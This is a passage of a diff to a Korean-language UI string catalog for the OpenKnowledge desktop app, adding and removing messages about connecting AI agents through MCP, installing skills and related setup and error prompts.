["첫 프로젝트 만들기"],"4EZrJN": ["규칙"],@@ -379,6 +394,7 @@],"4nj6n8": ["/api/config HTTP ", ["code"], " 반환"],"4pDZ2N": ["다른 모든 위치에서 \"", ["0"], "\"을 제거했습니다. 소스 폴더는 계속 불러옵니다"],+ "4sE6E9": ["어떤 도구가 연결되었는지 확인하지 못했습니다."],"4sKwf6": ["파일이 이미 있습니다"],"4sUdTJ": ["테마 적용 미리보기"],"4uNLmk": ["풀하는 중"],@@ -405,6 +421,7 @@"5Ajb15": ["수식 <0>c = √(a² + b²)</0>이 인라인으로 렌더링됩니다."],"5AzM72": ["이 설정은 컴퓨터별로 적용되며 공동 작업자와 공유되지 않습니다."],"5BlXTD": ["버전 미리보기를 불러오지 못했습니다. 아래에서 해결 방법을 선택할 수 있습니다."],+ "5CHuXn": [["0"], "에는 ", ["1"], "이(가) 필요합니다. 둘 다 끄거나, 둘 다 켜 두세요."],"5ClEAu": ["문서 간 그룹화에 사용하는 인라인 해시태그입니다."],"5D3Ior": ["폴더 가리기"],"5F5HYj": [["ahead"], "개 앞서 있고 ", ["behind"], "개 뒤처져 있음"],@@ -422,6 +439,9 @@"5OqaJi": ["프로젝트 이름 입력"],"5PHgV2": ["<0>ok bug-report</0>를 사용해 터미널에서 만들 수도 있습니다."],"5QGTaA": ["상대 경로를 복사하지 못했습니다"],+ "5RiC8D": [+ "검색 스킬은 모든 AI 도구에서 함께 관리됩니다. 설정 → 스킬 스튜디오에서 이 스킬을 설치하세요."+ ],"5SwVv1": ["설치되지 않음"],"5Szq6N": ["이 엔드포인트는 설정한 벡터 크기를 무시했습니다. <0>search.semantic.dimensions</0>를 제거하면 모델의 자체 크기를 사용합니다."@@ -580,6 +600,12 @@"7IsvrP": ["업데이트 확인 중"],"7JtSLi": ["경로를 삭제하지 못했습니다"],"7MSbAT": ["사용 범위"],+ "7Ny8bV": [+ ["dependent"],+ "에는 ",+ ["prerequisite"],+ "이(가) 필요하지만, OpenKnowledge가 이 컴퓨터에서 이 에이전트를 찾지 못했습니다."+ ],"7O7REc": [["0"], " 복원에 실패했습니다. 다시 시도합니다."],"7OhaRy": ["소스 검색"],"7Ongq0": ["내 AGENTS.md 파일을 40k자 미만으로 압축"],@@ -705,6 +731,7 @@"8uGMP8": ["숨겨진 콘텐츠가 여기에 표시됩니다."],"8vCZcs": ["파일을 열지 못했습니다."],"8vETh9": ["표시"],+ "8wwkVu": ["OpenKnowledge가 작성한 뒤 이 항목이 변경되었습니다. 켜면 덮어씁니다."],"8x6zk9": [["0"], " 편집기 숨기기"],"9-lMCF": [["slot"], " 색상, ", ["0"]],"90-wKT": ["OpenKnowledge에서 ", ["subject"], " 기록 조회"],@@ -822,7 +849,6 @@"AYoYhU": ["업데이트 실패: ", ["0"]],"AaC-CE": ["빈 보드"],"AcK_r0": ["Claude CLI"],- "AczYxH": ["사용자 지정 OpenKnowledge 항목, OpenKnowledge에서 관리하지 않음"],"AdcGcG": ["변경사항 적용 중"],"AddR83": ["프로젝트를 만들지 못했습니다. 다시 시도하거나 다른 위치를 선택하세요."],"AeHuzT": [@@ -849,6 +875,7 @@"AkA6DO": [["0"], " 플러그인의 일부. 읽기 전용이며, 복사본을 편집하려면 엽니다"],"Al8HPP": ["충돌 ", ["0"], "에 현재 버전 적용"],"Am78jY": [["keyName"], "을 드래그하여 순서 변경"],+ "ApNWRQ": [["0"], "에서 OpenKnowledge를 제거할까요?"],"ApeA0n": ["편집 ", ["dropCount"], "개를 ", ["docName"], "에서 실행 취소했습니다"],"Aq-O0x": ["상태"],"AqnqMJ": ["API 키 설정됨"],@@ -876,6 +903,9 @@"BGtzlf": [["uploadFolderName"], " … 파일 1개"],"BH56dn": ["사용자 지정 표시 텍스트"],"BKI4hX": ["파일에서 찾기"],+ "BMoSQy": [+ "이 에이전트는 OpenKnowledge가 대신 설정할 수 있는 방법을 제공하지 않습니다. 설정 가이드에 수동 단계가 안내되어 있습니다."+ ],"BOsvJ8": ["<0>ok</0>는 나중에 파일 메뉴에서 추가할 때까지 외부 터미널에서 실행되지 않습니다. AI 도구는 계속 작동합니다."],@@ -943,11 +973,7 @@"CU3AiE": ["브랜치 전환 중"],"CUmCwI": ["아래에 행 삽입"],"CWjM1r": [["0"], "/에 있는 문서"],- "CWzc2T": [- "<0>~/.ok/bin</0> 및 <1>~/.ok/env.sh</1>는 어느 경우에도 유지됩니다. 앱이 항상 관리합니다."- ],"CXDYfm": ["이 프로젝트의 스킬이 설치되어 있는지 확인할 수 없습니다."],- "CXTwen": ["이 프로젝트 config를 안전하게 편집할 수 없습니다."],"CXcveY": ["Open Knowledge는 Markdown이 있는 모든 폴더에 index.md라는 탐색 파일을 유지합니다. 각 파일에는 해당 폴더의 문서가 유형별로 나열되고 하위 폴더 링크가 포함됩니다. 문서가 변경되면 파일을 다시 작성하며, 직접 편집한 내용은 대체됩니다."],@@ -979,9 +1005,9 @@"Git 프로젝트에서 Open Knowledge는 저장소 루트의 .gitattributes 파일에 범위를 지정한 규칙을 추가하여 동시에 변경한 인덱스를 결합합니다."],"CxVk-w": [["address"], "에 댓글 남기기"],+ "CxnZP4": ["OpenKnowledge가 설정할 항목을 선택하세요."],"Cz-K13": ["15분"],"D-NlUC": ["시스템"],- "D-Oh1s": [["0"], " 설정 방법(브라우저에서 열림)"],"D-_B7l": ["연결됨. 이 엔드포인트가 ", ["0"], "차원 벡터를 반환합니다."],"D0CegO": ["같은 이름의 스킬이 하나 더 있습니다 — 완전히 관리하려면 이름을 바꾸거나 하나를 삭제하세요."@@ -989,6 +1015,9 @@"D12vtS": ["(분리됨)"],"D2emTw": ["피드백을 보내는 중 문제가 발생했습니다. 다시 시도하세요."],"D4H2N6": [["tag"], " 제거"],+ "D4I0F9": [+ "앱의 에이전트 메뉴에 포함할 에이전트를 선택하고, 문서를 읽고 업데이트할 수 있도록 설정하세요."+ ],"D7gKrd": ["폴더가 이 프로젝트 안에 안전하게 포함되어 있지 않아 OpenKnowledge가 .ok/local/terminal 아래에 실행 설정을 쓸 수 없습니다. 프로젝트 내부의 실제 폴더이며 링크가 아닌지 확인하세요. Claude가 OpenKnowledge 승인을 요청합니다."],@@ -1073,6 +1102,7 @@"E1_c72": ["작업 목록"],"E1tG2u": ["Claude Code 받기"],"E2Mv-X": ["소스 복사"],+ "E35Meh": [["rowLabel"], " 제거"],"E4XYYH": ["이 프로젝트에서 터미널 사용"],"E5WeIy": ["가장 최근에 닫은 편집기 탭을 다시 엽니다."],"E6lrpp": ["OpenKnowledge가 저장소를 탐색하고 동기화할 때 사용하는 GitHub 계정을 관리합니다."],@@ -1080,7 +1110,9 @@"E91VZY": ["새 창에서 열기"],"E9bKSA": ["만드는 중"],"E9gh86": [["MAX_ATTACHMENTS"], "개 이미지를 첨부할 수 있습니다."],+ "EBP_hA": ["이 프로젝트의 에이전트 설정에 OpenKnowledge MCP 항목을 추가합니다."],"EBVbtP": ["항목을 복제하지 못했습니다"],+ "EDD3UL": ["이 컴퓨터에서 감지되지 않음"],"EDl9kS": ["구독"],"EDm3wJ": ["Diff 렌더러 불러오는 중"],"EEYbdt": ["게시"],@@ -1162,6 +1194,7 @@"EvPX7f": ["저장소를 클론할 위치를 선택하는 폴더 선택기를 엽니다."],"EvXKHE": ["OpenKnowledge에서 지식 베이스 검색"],"Evq3lu": ["고아 모드"],+ "Evsh6U": ["문서는 변경되지 않습니다."],"ExPiRQ": ["다음 CodeMirror lint 진단으로 이동합니다."],"ExUzM4": ["스킬 \"", ["0"], "\""],"F-1xhe": ["이 프로젝트의 서버가 이 창과 다른 브랜치에 있어 콘텐츠를 불러올 수 없습니다."],@@ -1191,7 +1224,6 @@"FEqWFL": ["AI 에이전트가 여기서 작업하는 방법을 안내합니다."],"FEr96N": ["테마"],"FF7V5K": ["실제 크기"],- "FK57sK": [["names"], " MCP 통합 복구됨"],"FKVmcC": ["이 프로젝트의 설정입니다. 일부는 git을 통해 모든 협업자와 공유되고, 일부는 이 컴퓨터에만 적용됩니다."],@@ -1288,6 +1320,12 @@"모든 .mdx 파일에 적용됩니다. 형식은 .md 전용이므로 .md를 찾는 리더는 이 파일을 열지 않으며, 같은 이름의 .md가 있으면 대신 그 파일을 읽습니다."],"GSYWCm": ["문서 패널 가리기"],+ "GTvYzA": [+ ["dependent"],+ "에는 ",+ ["prerequisite"],+ "이(가) 필요하지만, OpenKnowledge가 대신 설정할 수 없습니다. 설정 가이드에 수동 단계가 있습니다."+ ],"GU1Y4A": ["로컬 전용을 요청했지만 git 저장소가 생성되지 않았습니다. 프로젝트가 git 저장소에 포함되면 설정 → 동기화 및 공유에서 변경할 수 있습니다."],@@ -1355,6 +1393,11 @@],"H86f9p": ["접기"],"H8DVOJ": ["양쪽이 동일하며 ", ["pick"], "에서 계속 읽을 수 있습니다."],+ "H8tj8y": [+ "이 설정은 ",+ ["peers"],+ "과(와) 공유되며 OpenKnowledge가 여기서 변경할 수 없습니다. 먼저 Skills Studio에서 폴더 연결을 해제하세요."+ ],"HAkEqR": ["최근 파일"],"HAvHev": ["\"", ["name"], "\" 자동 업데이트 꺼짐"],"HAvRAI": [["skillCount", "plural", { "other": ["스킬"] }]],@@ -1369,9 +1412,6 @@"Slidev가 설치되지 않아 Slidev 작업이 숨겨져 있습니다. 설치한 후 이 창으로 돌아옵니다."],"HSI88F": ["표 삭제"],- "HTW0Zw": [- "한 단계 더 필요합니다. 이 프로젝트에서 <0>claude</0>를 실행하고 OpenKnowledge를 한 번 승인합니다."- ],"HZ7fEu": ["테마 이름"],"HbcQYf": [["display"],@@ -1555,6 +1595,7 @@"KPW5WC": ["템플릿 이동됨"],"KQGZuq": ["이미 있으면 재사용하고, 없으면 생성합니다."],"KRJ6xh": ["아직 태그가 없습니다. 계속 입력하여 태그를 만드세요."],+ "KTxoDA": ["OpenKnowledge가 이 항목을 인식하지 못합니다. 켜면 이 항목을 대체합니다."],"KUjOb9": ["실행 중"],"KWL_Ih": ["블로그 게시물"],"KX1MZR": ["내 저장소"],@@ -1590,6 +1631,7 @@"KsAPaB": ["이 브랜치의 체크아웃 위치:"],"KtACeE": ["기본값: <0>", ["0"], "</0>"],"KujtjC": ["찾기"],+ "Kuw5NN": [["rowLabel"], " 설정 방법"],"KvwJv8": ["일부 파일이 표시되지 않았습니다. 작업 트리의 변경 사항이 너무 많습니다."],"Kx881F": ["복원됨: ", ["0"], "."],"L-rMC9": ["기본값으로 재설정"],@@ -1644,7 +1686,6 @@"L_mqhg": ["(", ["0", "plural", { "other": ["#", " 시도"] }], ")"],"LaskKp": ["채팅에 보내기 (", ["0"], ")"],"Lbl6KA": [["0"], "에서 설치하지 못했습니다: ", ["1"]],- "LbmLyU": ["이 도구의 config를 안전하게 편집할 수 없습니다."],"LdABLa": [["target"], " 열기에 실패했습니다. 직접 열어 보세요."],"LdKIHS": ["사양 초안 작성"],"LeGeTf": ["GitHub에서 OpenKnowledge 열기"],@@ -1671,6 +1712,7 @@"Lrsl_h": ["누락된 파일 ", ["identity"], ". 참조로 이동합니다."],"LtI9AS": ["소유자"],"LtSYdi": ["Finder에서 보기"],+ "LtiJ5c": ["프로젝트 스킬"],"LuoJWu": [["truncatedShownCount",@@ -1781,9 +1823,6 @@"NIWAux": ["#", ["tagDocsName"], " 아래에 등록된 문서가 없습니다."],"NJyQi_": ["원격에 ", ["shareBranch"], " 브랜치가 더 이상 없습니다."],"NKkZXl": ["초기화 후 열기"],- "NNJsn7": [- "한 단계 더 필요합니다. Cursor → 설정 → Tools & MCP에서 활성화합니다(Cursor는 프로젝트 서버를 직접 켜기 전까지 꺼 둡니다)."- ],"NOHyEE": ["푸시 재시도"],"NORKZU": ["패턴 경고: ", ["summary"]],"NQ8llq": ["항목 추가"],@@ -1842,7 +1881,6 @@"O0Z2Xr": ["나가는 링크"],"O2UpM1": ["찾아보기"],"O3oNi5": ["이메일"],- "O4PnDd": ["AI 도구 관리는 OpenKnowledge 데스크톱 앱에서만 사용할 수 있습니다."],"O6H89R": ["해결됨"],"O6yEPk": ["선택한 폴더에 새 OpenKnowledge 프로젝트를 만듭니다."],"O7_W_a": ["AI로 열기"],@@ -1905,7 +1943,6 @@"OlFVNr": ["선택 영역을 AI에게 묻기"],"Oo_WWc": ["페이지를 찾을 수 없음"],"Oos8fo": ["명령 복사"],- "OplnBG": ["이 빌드에서는 AI 도구를 관리할 수 없습니다."],"OqqecQ": ["30초"],"OsSaYm": ["클론 실패: ", ["title"]],"OuQezS": ["이 대화를 다시 시작할 때 적용됩니다"],@@ -1933,6 +1970,10 @@"P6gXB-": [["keyName"], " 바꾸기"],"P6lAT3": ["폴더 대상: ", ["linkTitle"], ". 클릭하여 개요를 엽니다."],"P8AnMN": ["Slidev 확인 중"],+ "P9rQN2": [+ ["label"],+ "의 터미널 행과 데스크톱 행은 하나의 설정을 공유하므로, 하나를 연결하면 둘 다 연결됩니다."+ ],"PB4upl": ["이전 일치 항목 찾기"],"PBQwGb": ["파일, 명령, 프로젝트 및 AI 핸드오프 작업을 검색합니다. 비주얼 편집기에서 텍스트를 선택하면 K 키 조합 대신 링크를 추가하고, P 키 조합은 항상 팔레트를 엽니다."@@ -2020,6 +2061,7 @@"QDZbvN": [["diffDays"], "일 전"],"QGWzup": ["OpenKnowledge 스킬 불러오는 중"],"QHCx0c": ["버그 신고 기록"],+ "QHcLEN": ["연결됨"],"QIrBIx": ["모든 파일 펼치기"],"QIzioS": [["agentName"], ": 이미지 첨부 미지원"],"QKgePK": [["editor"], " 버전을 소스와 맞췄습니다(바이트를 백업했습니다)"],@@ -2077,6 +2119,7 @@"RD6H9q": ["문서가 변경되면 Open Knowledge가 index.md 파일을 다시 작성하므로 직접 편집한 내용은 대체됩니다."],+ "RD8cCw": ["이 빌드에서는 에이전트 연결 관리를 사용할 수 없습니다."],"RDjuBN": ["설정"],"RDrXh4": ["사용자, 프로젝트 및 통합 설정을 구성합니다."],"REkvLz": [@@ -2109,6 +2152,7 @@"RSqaSd": ["프로젝트 루트"],"RVZJWQ": ["프로젝트 검색…"],"RXEbZy": ["앱 내"],+ "RXYvxn": ["이 옵션은 자동으로 변경할 수 없습니다."],"RY6Bq1": ["공유된 ", ["targetNoun"], " 열기"],"RZXTlY": ["자동 수정 (", ["count"], ")"],"R_U_A4": ["파일 또는 폴더 패턴 추가, 예: guides/**/*"],@@ -2152,6 +2196,9 @@"S33tz3": ["연결되지 않음"],"S3qu11": ["시험 삼아 사용했거나 일회성 프로젝트였습니다"],"S48xcO": ["대기 중"],+ "S6SbxA": [+ "이 파일의 기존 \"open-knowledge\" 항목을 대체합니다. 파일의 다른 서버는 그대로 유지됩니다."+ ],"S6eHlw": ["먼저 프로젝트를 여세요."],"S6l5dv": ["새 항목 만들기를 시작하지 못했습니다"],"S9Vnum": [["patternText"], " 제거"],@@ -2385,7 +2432,6 @@"VFQXPl": ["외부 링크 위에 마우스를 올리면 사이트 이름, 페이지 제목, 설명이 있는 미리보기 카드가 나타납니다."],- "VIwCaD": ["항목"],"VJaBca": ["스킬 폴더 선택"],"VL6VsE": ["현재 항목 적용"],"VM7H66": ["이 파일은 바이너리라 텍스트로 표시할 수 없습니다."],@@ -2450,6 +2496,7 @@"W9NSe0": ["링크 확인 중"],"W9_Bub": ["로컬 변경 사항이 들어오는 동기화와 겹칩니다."],"WBNpt9": ["이 테마를 읽지 못했습니다 (", ["0"], ")"],+ "WEYdDv": ["권장"],"WFEbV1": ["편집기에서 일반적인 Markdown 문제를 감지합니다. <0>markdownlint<1/></0>가 제공합니다."],@@ -2520,19 +2567,19 @@"XBBZnv": ["링크 대상 \"", ["shown"], "\"이 존재하는 문서로 확인되지 않습니다."],"XBgr2S": ["복사해 넣기"],"XDzAnp": ["새 탭에서 열림"],- "XEfNPL": [- "설치됨 — 외부 터미널에서 ok를 사용할 수 있습니다. 선택을 해제하면 제거되며, AI 도구는 계속 작동합니다."- ],"XF1kgP": [["source"], "의 모든 항목이 이미 최신입니다"],- "XFpEgc": [- "앱의 에이전트 메뉴에 포함할 에이전트를 선택합니다. Ask AI, Open with AI, + 새 채팅 버튼 등이 해당합니다. 에이전트를 끄면 모든 메뉴에서 숨깁니다."- ],"XGKy1z": ["이미지를 표시할 수 없음"],"XH30C4": ["문서"],"XIltnd": ["\"", ["trimmed"], "\"이라는 스킬이 이미 있습니다"],"XJOV1Y": ["활동"],"XK5cbh": ["OpenKnowledge 탐색 기록을 앞으로 이동합니다."],"XNBGZw": ["메시지 전송 실패: ", ["0"]],+ "XNdXMR": [+ ["dependent"],+ "에는 ",+ ["prerequisite"],+ "이(가) 필요하지만, 이 에이전트에는 아직 이 컴퓨터에 그런 종류의 파일이 없습니다. 에이전트를 한 번 연 뒤 다시 시도하세요."+ ],"XPJ0sN": [["settingsDescriptorLabel"], " 속성"],"XPqe3B": ["새 태그 #", ["tagValue"], " 만들기"],"XRuL0i": ["페이지 만들기"],@@ -2581,6 +2628,12 @@"Xp7Kq4": ["다른 동기화 작업이 진행 중입니다. 잠시 후 다시 시도하세요."],"Xp94R1": ["한 번 더 시도"],"XpIZmv": ["고정폭 텍스트가 있는 펜스 코드 블록입니다."],+ "XrPvMT": [+ ["dependent"],+ "에는 ",+ ["prerequisite"],+ "이(가) 필요하지만, OpenKnowledge가 이 파일 형식에서 해당 항목을 안전하게 교체할 수 없습니다."+ ],"Xs1kjx": ["업데이트 확인 주기"],"Xs7IcT": [["displayName"], " 연결 실패. 다시 시도할까요?"],"XszXjc": [["0"], "으로 이름 변경됨"],@@ -2600,6 +2653,7 @@["pickedRelative"],"</1>의 상위 폴더입니다(리포지토리마다 .ok/ 하나). <3>Content directory</3>의 기본값은 <4>.</4>입니다(전체 리포지토리). 범위를 좁히려면 하위 폴더를 입력하세요."],+ "Y1wa2r": ["OpenKnowledge를 제거할까요?"],"Y2tU6I": [["0"], " 삭제"],"Y5la_5": ["설치 위치"],"Y6PKd1": [["name"], "을 최근 프로젝트에서 제거"],@@ -2722,9 +2776,6 @@"ZWwYwM": ["기준 브랜치"],"ZWxfrc": ["폴더 속성 지움"],"ZWyHmq": ["이 프로젝트"],- "ZYtq3m": [- "이 프로젝트에서 사용하는 AI 도구를 연결합니다. 이 파일은 프로젝트 폴더에 있으므로 누구나 프로젝트를 열면 같은 설정을 사용합니다."- ],"Z_nNa2": ["테마 이름 지정"],"ZatAO_": ["링크 미리보기를 켜지 못했습니다: ", ["detail"]],"Zf0w-R": [@@ -2761,7 +2812,6 @@["label"],"이(가) 플러그인 대신 그 복사본을 사용합니다. 복사본은 플러그인 업데이트를 더 이상 따르지 않습니다."],- "_5qBNl": ["AI 도구 및 CLI"],"_6FVBz": ["1~8번 탭으로 이동"],"_7UQ7y": ["전체 단어"],"_8quCH": ["템플릿에서"],@@ -2774,6 +2824,7 @@["currentLabel"],"</1>입니다."],+ "_9rYSZ": [["names"], " MCP 통합 복구됨"],"_Bix3-": [["localizedFirstMessage"], " 발생 횟수"],"_DwR-n": ["만드는 중…"],"_G7A92": ["index.md 유지"],@@ -2785,7 +2836,6 @@"_JOGC0": ["피드백 보내기…"],"_LczaQ": ["거부됨: ", ["optionName"]],"_NWEid": ["경로로 스키마 파일 검색"],- "_NX6gG": ["이 빌드에서는 프로젝트 AI 도구를 관리할 수 없습니다."],"_O7dJS": ["여기에는 다른 버전이 있습니다. 비교하고 해결하려면 클릭하세요"],"_PACVa": ["릴리스 노트"],"_PBJRl": ["문자 또는 숫자를 하나 이상 추가하세요."],@@ -2818,6 +2868,9 @@"_ci9Bj": ["서버가 불완전한 폴더 응답을 반환했습니다."],"_eguJc": ["업로드 중"],"_fQGOp": ["경로에는 공백을 사용할 수 없습니다"],+ "_fZSIY": [+ "OpenKnowledge가 이 파일을 안전하게 파싱할 수 없어 파일을 변경하지 않았습니다. 파일을 직접 수정한 뒤 다시 시도하세요."+ ],"_gO_m8": ["승인 대기 중"],"_gkGSK": ["템플릿 삭제됨"],"_pY_Vq": ["저장소가 이동, 이름 변경 또는 삭제됐습니다."],@@ -2825,6 +2878,7 @@"_rP3HI": [["minutes"], "분 전"],"_tekeB": ["폴더 속성 업데이트됨"],"_tjopj": ["복제하여 붙여넣기"],+ "_uxBz5": [["rowLabel"], "에 MCP 및 스킬 추가"],"_yB-24": ["모든 ", ["0"], "/ 폴더 아래의 항목"],"a-cKXz": ["모든 소스 선택"],"a3LDKx": ["보안"],@@ -2933,6 +2987,7 @@"blFttG": ["프로젝트 검색"],"bmC18N": ["다시 연결하기 전에 \"", ["docName"], "\"의 로컬 협업 데이터를 지우는 중입니다."],"bnOTEz": ["가져오는 중…"],+ "bn_MDX": ["주의가 필요한 이유"],"bpMVIA": ["링크 대상 \"", ["shown"], "\"을 프로젝트 로컬 대상으로 확인할 수 없습니다."],"bpytj4": [["0"], "으로 이동"],"brCtGB": ["기록을 사용할 수 없음"],@@ -3050,6 +3105,7 @@"d3dX3w": ["“", ["word"], "” 찾아보기"],"d5rK4X": [["chars", "plural", { "other": ["#", "자"] }]],"d6qW27": [["agentName"], " 보고: ", ["headline"]],+ "dCforW": ["이 파일을 쓰지 못했습니다. 이유는 OpenKnowledge 로그를 확인하세요."],"dD7NPy": ["개요"],"dDpCOp": ["이름 변경은 성공했지만 사이드바가 최신 상태가 아닐 수 있습니다. 다시 동기화하려면 새로 고침하세요."@@ -3063,6 +3119,7 @@["currentBaseLabel"],"</1>에서 생성되며 <2>.ok/worktrees/</2> 아래 자체 워크트리에 배치됩니다."],+ "dGcsnU": ["둘 다 제거"],"dIYSqk": ["원격"],"dJw2_7": ["팀을 위해 프로젝트와 함께 저장됨."],"dMsx3p": ["홈 페이지 및 탐색 허브입니다."],@@ -3077,6 +3134,9 @@"dVaXnv": ["콘텐츠 규칙을 아직 불러오지 못했습니다. 잠시 후 다시 시도합니다."],"dXCi3J": ["문제가 발생했습니다"],"dXOolp": ["변경 사항 동기화 중"],+ "da7Yfw": [+ "아래 나열된 MCP 서버 항목과 스킬 파일을 삭제합니다. 다시 추가할 때까지 에이전트가 문서에 접근할 수 없습니다."+ ],"darW93": [["pageCount",@@ -3164,6 +3224,7 @@],"eh3QBq": ["Excalidraw 보드를 불러오지 못했습니다."],"eiUA4k": [["count", "plural", { "other": ["댓글 ", "#", "개"] }]],+ "ejiJeW": ["OpenKnowledge 검색 스킬"],"ekSPiP": [["0"], "은 이미 삭제되었습니다."],"el2KyL": ["Slidev가 이 프로젝트에 있습니다. 덱은 프로젝트 버전을 사용합니다."],"emMrXQ": ["서버에서 잘못된 중복 응답을 반환했습니다."],@@ -3179,6 +3240,7 @@"euc6Ns": ["복제"],"evs0iw": ["“", ["tagListQuery"], "”와 일치하는 태그"],"ewSbS_": ["셸 세션"],+ "ewlFNL": [["failures"], "의 MCP 자동 복구에 실패했습니다"],"ezUmoU": ["허용되는 요소 값 (비워 두면 모두 허용)"],"f-k37b": ["이 스킬 설치"],"f1-q9m": ["스킬을 유지합니다"],@@ -3231,6 +3293,23 @@"fj5YiP": ["GitHub에서 최신 사본을 다운로드합니다."],"fnlBN4": ["자동 승인 설정을 아직 불러오지 못했습니다. 잠시 후 다시 시도합니다."],"fo6CCk": ["패널 ", ["0"]],+ "followup.approve-once": [+ "한 단계 더 필요합니다. 이 프로젝트에서 ",+ ["agent"],+ "를 실행하고 OpenKnowledge를 한 번 승인합니다."+ ],+ "followup.enable-manually": [+ "한 단계 더 필요합니다. ",+ ["agent"],+ " → 설정 → Tools & MCP에서 활성화합니다(",+ ["agent"],+ "는 프로젝트 서버를 직접 켜기 전까지 꺼 둡니다)."+ ],+ "followup.trust-gated": [+ "다음에 신뢰할 수 있는 ",+ ["agent"],+ " 세션에서 이 프로젝트를 열면 자동으로 연결됩니다."+ ],"fqSfXY": ["바꾸기"],"ft-BOm": ["버그 신고…"],"fuJZKk": ["브랜치 검색"],@@ -3238,6 +3317,15 @@"fwhX-N": ["소스의 들여쓰기 또는 내어쓰기를 조정합니다."],"fwrPh4": ["유효한 이메일을 입력하세요."],"fxbCNQ": ["동기화됨. 링크가 최신 상태입니다."],+ "fybwfg": [+ "이 설정은 <0>",+ ["path"],+ "</0>을(를) 통해 ",+ ["peers"],+ "와(과) 공유됩니다. 여기서 제거하면 ",+ ["peers"],+ "에서도 제거됩니다."+ ],"g-dkjJ": ["로컬 파일 세부 정보를 아직 사용할 수 없습니다."],"g12y1g": ["잘못된 YAML"],"g1ZTh_": [@@ -3247,7 +3335,6 @@{ "other": ["다음 파일 또는 폴더 ", "#", "개와 그 내용을 삭제하시겠습니까?"] }]],- "g4WlQK": ["프로젝트 AI 도구 관리는 OpenKnowledge 데스크톱 앱에서만 사용할 수 있습니다."],"g4XBm0": ["작은 섹션 제목입니다."],"g4e0hS": [["agentName"], "에게 질문"],"g58Kwy": [@@ -3309,6 +3396,7 @@"gfb-CM": ["브랜치를 가져올 수 없습니다. GitHub에 로그인한 후 다시 시도하세요."],"gfdqcY": ["변경사항을 적용하지 못했습니다: ", ["0"]],"gfohmY": ["도구 연결"],+ "ggMMa7": ["프로젝트 MCP 서버"],"ggm6JX": ["이 페이지는 아직 존재하지 않습니다. 열어서 편집기에서 페이지를 만들고 그래프를 접습니다."],@@ -3327,6 +3415,36 @@"gpbKxw": ["링크 검증을 사용할 수 없습니다."],"gqk-3R": [["0"], "을 ", ["destination"], "으로 이동했습니다."],"gtEbeW": ["강조 표시"],+ "guidance.mcp.managed-file": [+ ["agent"],+ "이(가) 이 프로젝트에서 불러와 OpenKnowledge에 연결하는 작은 브리지 파일을 작성합니다."+ ],+ "guidance.mcp.project-config": [+ ["agent"],+ "이(가) 이 프로젝트에서 읽는 MCP 설정에 OpenKnowledge를 추가하여 이 문서들을 읽고, 검색하고, 편집할 수 있게 합니다."+ ],+ "guidance.mcp.session-injection": [+ "OpenKnowledge가 ",+ ["agent"],+ "을(를) 실행할 때마다 OpenKnowledge 도구를 전달합니다. 설정에는 아무것도 기록되지 않습니다."+ ],+ "guidance.mcp.user-config": [+ ["agent"],+ " 자체 MCP 설정에 OpenKnowledge를 추가하여 이 컴퓨터의 모든 프로젝트에 접근할 수 있게 합니다."+ ],+ "guidance.skill.central-store": [+ ["agent"],+ "이(가) 읽는 중앙 스킬 저장소에 OpenKnowledge 스킬을 넣습니다."+ ],+ "guidance.skill.project": [+ "이 프로젝트의 ",+ ["agent"],+ " 스킬 폴더에 OpenKnowledge 스킬을 넣어 편집 내역의 작성자가 유지되게 합니다."+ ],+ "guidance.skill.user": [+ ["agent"],+ "의 전역 스킬 폴더에 OpenKnowledge 탐색 스킬을 넣어 어떤 프로젝트에서든 OpenKnowledge를 찾을 수 있게 합니다."+ ],"gv5w9J": ["owner/repo, git URL 또는 로컬 경로"],"gvApb7": ["읽은 내용을 명확하고 신뢰할 수 있는 문서로 바꿉니다. 소스를 저장하고 의미를 파악한 뒤, 나중에 의지할 수 있도록 최종본을 보관합니다."@@ -3339,6 +3457,14 @@"h06R3C": ["나가는 그래프 링크가 누락된 페이지가 없습니다."],"h16FyT": ["목록"],"h2N-1n": [["0"], "에 설치됨"],+ "h2QPvj": [+ ["dependent"],+ "에는 ",+ ["prerequisite"],+ "이(가) 필요하지만 OpenKnowledge가 해당 항목을 인식하지 못합니다. ",+ ["prerequisite"],+ "을(를) 선택해 대체한 뒤 다시 저장하세요."+ ],"h3QZcB": [["shareBranch"], " 브랜치가 이미 있습니다. 대신 전환기에서 해당 워크트리를 여세요."],"h69WC6": ["전송됨"],"h7FzJC": ["링크 그래프 응답 형식이 예상과 일치하지 않습니다."],@@ -3445,7 +3571,6 @@"iH8pgl": ["뒤로"],"iHAJDj": ["기본 위치 확인 중"],"iIaSUD": ["공백"],- "iKS6gg": ["스킬이 스킬 스튜디오로 이동했습니다."],"iKSP5j": ["자동 줄바꿈"],"iKZkk1": ["속성 값"],"iKvAeG": ["확인 중"],@@ -3491,6 +3616,7 @@"ij-Elv": ["이미지 미리보기"],"ijLc3m": ["글머리 기호 목록"],"ilodsp": ["에이전트가 확인하지 않고 OpenKnowledge를 사용하도록 허용합니다"],+ "inJhKB": ["교체 후 저장"],"ioMn4Z": ["템플릿에서 새로 만들기…"],"iodl3p": ["서버에서 잘못된 업로드 응답을 반환했습니다."],"ipCibE": ["빈 폴더 이름은 사용할 수 없습니다 (//)"],@@ -3506,6 +3632,7 @@"irnKr_": [["updatedRelative"], " 업데이트됨"],"irrm_E": ["선택 영역 제거"],"isRobC": ["새 항목"],+ "itchkf": ["이 컴퓨터의 모든 프로젝트에서 에이전트를 OpenKnowledge에 연결합니다."],"iuTKci": ["아직 편집 없음."],"iv452l": [["0"], " 문서(브라우저에서 열림)"],"iycx_A": ["푸시 중"],@@ -3680,6 +3807,7 @@"kfL8BJ": ["가져오기 실패: ", ["0"]],"kj9pAE": ["페이지 만드는 중"],"kjlQ9D": ["심볼릭 링크가 됩니다"],+ "kjrq_8": ["추가 정보"],"kknhfj": ["변경 없음"],"kkux8f": [["0"], " 삭제에 실패했습니다. 다시 시도합니다."],"klPS-L": ["원본 파일, 이 에이전트 변경 전."],@@ -3735,6 +3863,7 @@"l87Deg": ["새 탭 시작 화면 선택"],"l9s3IX": [["agentName"], " 대화 시작 실패."],"lAiyU_": ["현재 문서만 <0>#", ["tag"], "</0>을 사용합니다."],+ "lBN3T6": ["에이전트 연결"],"lCC_D5": ["구독 중…"],"lGs_bQ": ["페이지 <0>*</0>"],"lHCR4I": ["필드를 지우면 기본 OpenAI 엔드포인트로 돌아갑니다."],@@ -3811,9 +3940,6 @@"mHo0kp": ["Open Knowledge 도구 사용 설정 요청 시간이 초과되었습니다. 이 스레드는 도구 없이 실행됩니다."],- "mLAjyL": [- "사용하는 AI 도구에 프로젝트를 읽고 업데이트할 권한을 부여합니다. 